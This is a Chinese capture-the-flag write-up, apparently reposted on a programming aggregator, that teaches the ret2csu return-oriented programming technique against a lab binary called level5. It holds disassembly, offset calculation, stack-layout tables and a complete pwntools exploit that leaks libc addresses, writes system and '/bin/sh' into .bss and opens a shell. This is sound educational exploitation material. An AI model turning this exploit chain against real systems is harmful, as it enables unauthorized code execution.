概述
ret2csu
- 环境
- 原理
- 64位汇编语言函数传参
- 漏洞分析
- 反汇编
- 计算偏移量
- payload
- payload1
- payload2
- payload3
环境
ret2csu
在其中下载level5
即可
原理
64位汇编语言函数传参
在一切开始之前,我们需要先了解一下64位汇编语言调用函数时是如何传参的,它与32位程序并不相同。
32位程序在调用函数时会将参数存入栈中
而64位程序在调用函数时,如果该函数参数少于7个,就会将参数从前往后依次存入rdi
, rsi
,rdx
, rcx
, r8
, r9
寄存器中。
如果该函数参数多于或等于7个,则前六个参数如上存放到寄存器中,剩余的参数会类似于32位程序存入栈中。
所以我们在利用64位程序栈溢出漏洞时,在调用函数之前需要将各个参数存入各个寄存器中才可顺利进行。那么我们该如何给这些寄存器赋值呢?按老样子用ROPgadgets
来一个一个查找对应的pop
指令吗?且不说能不能找到是个问题,就这样一个一个查找也未免过于麻烦。有没有一种简便的方法呢?
64位程序基本都有的一个函数__libc_csu_init
可以帮我们解决这个问题。该函数有段这样的代码:
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
在loc_400616
中我们可以控制rbx
,rbp
,r12
,r13
,r14
,r15
(pop指令将栈顶弹入寄存器)
在loc_400600
中我们可以控制rdx
,rsi
,edi
(间接通过r13
,r14
,r15
来控制),而这里的rdx
,rsi
,edi
正好是函数的前三个参数所需寄存器,不过edi
只能控制函数的低32位,但也足以应付大部分函数
所以我们只需要先控制主函数返回到loc_400616
,并在栈上从前往后构造每个寄存器想要赋予的值,然后在loc_400624
对应的栈填上loc_400600
,跳转到这一部分,通过刚才各寄存器构造的参数来给rdx
,rsi
,edi
赋值,在loc_400609
运行想要执行的函数,即可成功执行。
需要注意的是,如果我们还想在执行完这一函数后继续运行程序,就需要在loc_400611
位置让rbx
和rbp
相等,从而可以顺利执行到loc_400624
返回到想要继续进行的函数。否则函数将跳到loc_400600
循环执行这一部分。
漏洞分析
反汇编
这道题反汇编代码如下
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, Worldn", 0xDuLL);
return vulnerable_function();
}
可以看到在vulnerable_function
函数中人read
函数存在栈溢出漏洞,在该函数执行之前又执行了一次write
函数,且在IDA中函数栏存在_write
,所以我们可以利用ELF
直接获得write
函数GOT
表内容并在_write
进行输出,获得其GOT
值,从而依靠LibcSearcher
找到libc
的基址,进而找到system
函数地址进行提权。(类似于ret2libc3
)
由于这是x64程序,我们在调用write
函数时需要先将其三个参数依次放入rdi
, rsi
,rdx
寄存器中,这时我们__libc_csu_init
了。
我们在IDA
中点开该函数看一下,相关代码如下
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
可以看到这里与上面原理处写得不太一样,区别就是下面的pop
变成了mov
,不过问题不大,只需要注意rsp
的变化就可以,具体可以见payload
这道题我有两个问题
一个是我们在ret2libc3
处可以直接利用libc
中system
和str_bin_sh
的地址构造payload
,但这道题必须先将这两个放入bss
段才能够进行调用
一个同样是在ret2libc3
处我们是利用的str_bin_sh
来作为参数传入system
,但这道题我们只能直接用/bin/sh
字符串作为参数
这两个问题我还没有搞清楚原因,如果有老哥可以解惑,感激不尽
计算偏移量
x64利用gdb计算偏移量时与x32有所不同
不同之处在于使用cyclic -l
的地方,在我们r
运行完并输入随机字符后,返回值如下
这时我们不能直接使用cyclic -l 0x6261616b6261616a
来查找对应的位置,而需要使用
cyclic -l 0x6261616a
只能使用后四个字节来查找,如果使用前四个字节会使找到的偏移量多4
payload
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level="debug"
io = process('./level5')
elf = ELF('./level5')
write_got = p64(elf.got['write'])
start_addr = p64(elf.symbols['_start'])
gadget1_addr = p64(0x400606)
gadget2_addr = p64(0x4005F0)
payload = 'a' * 136 + gadget1_addr + p64(0) + p64(0) + p64(1) + write_got + p64(1) + write_got + p64(8) + gadget2_addr + 'a' * 56 + start_addr
io.recvuntil("Hello, Worldn")
io.send(payload)
write_addr = u64(io.recv(8))
print('send 1')
libc = LibcSearcher("write",write_addr)
libcbase = write_addr - libc.dump("write")
sys_addr = libcbase + libc.dump("system")
bin_sh_addr = libcbase + libc.dump("str_bin_sh")
read_got = p64(elf.got['read'])
bss_addr = elf.bss()
payload2 = 'a' * 136 + gadget1_addr + p64(0) + p64(0) + p64(1) + read_got + p64(0) + p64(bss_addr) + p64(16) + gadget2_addr + 'a' * 56 + start_addr
io.recvuntil("Hello, Worldn")
io.send(payload2)
io.send(p64(sys_addr) + '/bin/sh 0')
print('send 2')
payload3 ='a' * 136 + gadget1_addr + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr + 8) + p64(0) + p64(0) + gadget2_addr + 'a' * 56 + start_addr
io.recvuntil("Hello, Worldn")
io.send(payload3)
print('send 3')
io.interactive()
payload1
地址 | 栈中数据 |
---|---|
return前 | a * 136 |
main函数return(rsp) | 0x400606(gadget1) |
rsp + 8 | 0(填充数据) |
rsp + 16(rbx) | 0 |
rsp + 24(rbp) | 1 |
rsp + 32(r12) | write_got_addr |
rsp + 40(r13) | 1 |
rsp + 48(r14) | write_got_addr |
rsp + 56(r15) | 8 |
gadget1的return | 0x4005F0(gadget2) |
新rsp | a * 8(填充) |
新一轮的move | a * 48(填充) |
gadget2的return | start_addr |
这里rsp+8
处填充0是因为在main
函数返回到gadget1
处时,rsp
会自增8,导致此时rsp + 8
处才是真正的rsp
位置,这里的rsp
只是针对于return
处的值。
同理,下面的新rsp
也是这个道理。
新一轮的move
的意思是,在return
之前我没还要进行那六个寄存器的mov
操作,也就是上面rsp + 16 ~ rsp + 56
这一串操作,这里赋值什么都不影响,我们所要利用的就是return
,所以全部随便填充即可。
return
返回的地方是start
,也就是整个程序开始的地方,方便进行下一步操作
要注意两点
第一点是rbx
在这里必须赋值为0
,因为我们调用函数时执行的是这一行
.text:00000000004005F9 call qword ptr [r12+rbx*8]
rbx
为0时才能直接跳到r12
处,在第一轮赋值时把r12
赋值为想要执行的函数地址即可
第二点是rbx
必须为rbp - 1
,因为下面这几行
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
想要不循环下去就必须使rbx + 1=rbp
payload2
地址 | 栈中数据 |
---|---|
return前 | a * 136 |
main函数return(rsp) | gadget1 |
rsp + 8 | 0 |
rsp + 16 | 0 |
rsp + 24 | 1 |
rsp + 32 | read_got_addr |
rsp + 40 | 0 |
rsp + 48 | bss_addr |
rsp + 56 | 16 |
gadget1的return | gadget2_addr |
… | a * 56 |
gadget2的return | start_addr |
payload2
与payload1
大同小异,就是将要执行的函数替换成了read
函数,从而将libc中system
函数与/bin/sh
字符串放入.bss
段中
payload3
地址 | 栈中数据 |
---|---|
return前 | a * 136 |
main函数return(rsp) | gadget1 |
rsp + 8 | 0 |
rsp + 16 | 0 |
rsp + 24 | 1 |
rsp + 32 | bss_addr(system函数) |
rsp + 40 | bss_addr + 8(/bin/sh字符串) |
rsp + 48 | 0 |
rsp + 56 | 0 |
gadget1的return | gadget2_addr |
… | a * 56 |
gadget2的return | start_addr |
payload3
同样与之前的payload
没什么大区别,就是运行了system
函数来提权。这里后面的填充与gadget2
的return
其实写不写无所谓,因为我们运行到system
函数就已经获得了我们想要的结果,后面程序怎么运行与我们无关。
最后
以上就是难过苗条为你收集整理的pwn中级ROP——ret2csu环境原理漏洞分析payload的全部内容,希望文章能够帮你解决pwn中级ROP——ret2csu环境原理漏洞分析payload所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复